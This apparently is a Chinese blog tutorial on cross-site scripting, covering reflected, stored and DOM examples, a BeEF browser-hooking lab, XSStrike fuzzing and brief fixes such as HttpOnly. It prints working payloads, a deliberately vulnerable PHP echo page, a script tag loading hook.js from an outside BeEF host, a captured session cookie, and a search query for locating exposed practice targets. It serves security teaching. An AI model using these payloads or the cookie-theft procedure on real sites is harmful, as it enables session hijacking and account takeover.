XSS-Cross Site Scripting

一、XSS简介与危害

简介
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表CSS(Cascading Style Sheets)的缩写混淆,故将跨站脚本攻击缩写为XSS。

恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

危害

1、盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗取企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其他网站发起攻击(重定向语句)

8、窃取cookie的Session id,冒充登陆

二、XSS分类及介绍

XSS攻击分为反射型、存储型和dom型,反射型与dom型十分容易发生混淆,危害较大的为存储类型。

1、反射型案例

案例1

编写.php代码

<?php
	$XSS = $_GET['x'];
echo $xss;
?>

存放路径:..\phpStudy\PHPTutorial\WWW

访问以下地址

http://localhost/1.php?x=1    ("1"可以是任意数字字母或脚本命令)
http://localhost/1.php?x=<script>alert(1)</script>

案例2

搜索pikachu靶场,靶场不唯一。

"pikachu" && country="CN" && title="Get the pikachu"

输入字节数受限

由于是GET请求类型可以修改URL

http://150.158.176.236/vul/xss/xss_reflected_get.php?message=<script>alert(8888)</script>&submit=submit

2、存储型案例

URL:http://150.158.176.236/vul/xss/xss_stored.php

<script>alert(1)</script>>

3、dom型案例

URL:http://150.158.176.236/vul/xss/xss_dom.php

' onclick="alert(1)"


dom型案例与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端。

三、XSS综合案例

XSS漏洞重现

安装靶场:

1)localhost/jfdd/install/install.php,界面提示错误。在提示路径install目录下删除.lock文件。

再次进入localhost/jfdd/install/install.php地址,进入系统安装界面。

按提示下一步继续完成安装。订单系统界面如下(localhost/jfdd/)

后台登陆地址:http://localhost/jfdd/admin/login.php ,进入管理员登陆界面。

后台查看订单信息

2)使用Beef

  • 安装源复制到 vim/etc/apt/sources.list
#阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib 
  • 执行
apt update
  • 切换root用户,第一次启动需要设置密码。如果忘记密码,可以到 /usr/share/beef-xss/config.yaml查找。
beef-xss



宿主机/虚拟机均可以访问Beef http://192.168.254.134:3000/ui/authentication

用户名:beef 密码:root

  • 回到前台提交订单

    脚本命令:
<script src="http://192.168.254.134:3000/hook.js"></script>

军锋系统宿主机客户端登陆订单系统查看订单信息即可成为肉机

data:cookie=sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2218ce3f016269da-0db484ff6ea35
9-26001951-1296000-18ce3f0162710f2%22%2C%22%24device_id%22%3A%2218ce3f016269da-0db484ff6ea35
9-26001951-1296000-18ce3f0162710f2%22%2C%22props%22%3A%7B%22%24latest_referrer%22%3A%22url%E
7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_referrer_host%22%3A%22ur
l%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_traffic_source_type%2
2%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_search_keywo
rd%22%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%7D%7D; __utmz=111872281
.1704631212.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_93d0ff6a4bef11a770a5f7
ff35ff9221=1704703403;Hm_lvt_ecd4feb5c351cc02583045a5813b5142=1705290743,1705291310,17056423
57,1706490043;__utma=111872281.659366271.1704631212.1705642357.1706490043.7;BEEFHOOK=aPmTDUy
ISZU1uhi9rkrfK4NPBfA6HfYmlqVsQDCG68NiEgnPVukiadjGq0gXgbiE9a9GriT1Nnh1rRoy; PHPSESSID=f2bds1d
6m8s5bldu8ld7m477f6

同时需要在虚拟机浏览器安装hackbar v2插件,F12窗口菜单最右侧hackbar菜单调用,使用宿主机IP+beef抓取cookie,在虚拟机处反向登陆订单系统。

3)案例局限性

  • 存在漏洞
  • 受限浏览器版本
  • 受限订单系统需要登陆
  • 受限各种WAF防护
  • 受限如何让对端触发(社工问题)

四、XSS绕过技巧与修复

案例Strike

安装依赖
pip install -r requirements.txt

C:\Users\86188\Desktop\tool\XSStrike-master>
以上路径下运行:python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer


直接探测

1)修改php软件www目录下1.php文件

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到</title>
</head>
<body>
<h1 align=center>欢迎</h1>
<?php
  $xss = $_GET['x'];
echo $xss;
?>
<center>测试XSS</center>
</body>
</html>

2)插件XSStrike-master目录下cmd,输入python xsstrike.py -u "http://localhost/1.php?x=1"命令,根据推荐payload逐一尝试执行相应命令


案例FUZZ

https://github.com/tennc/fuzzdb/

load加载字典xss-payload-list1.txt

修复

httponly

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。

WAF

输入、输出验证

posted on 2024-02-22 23:35  运输大队长  阅读(10)  评论(0编辑  收藏  举报

导航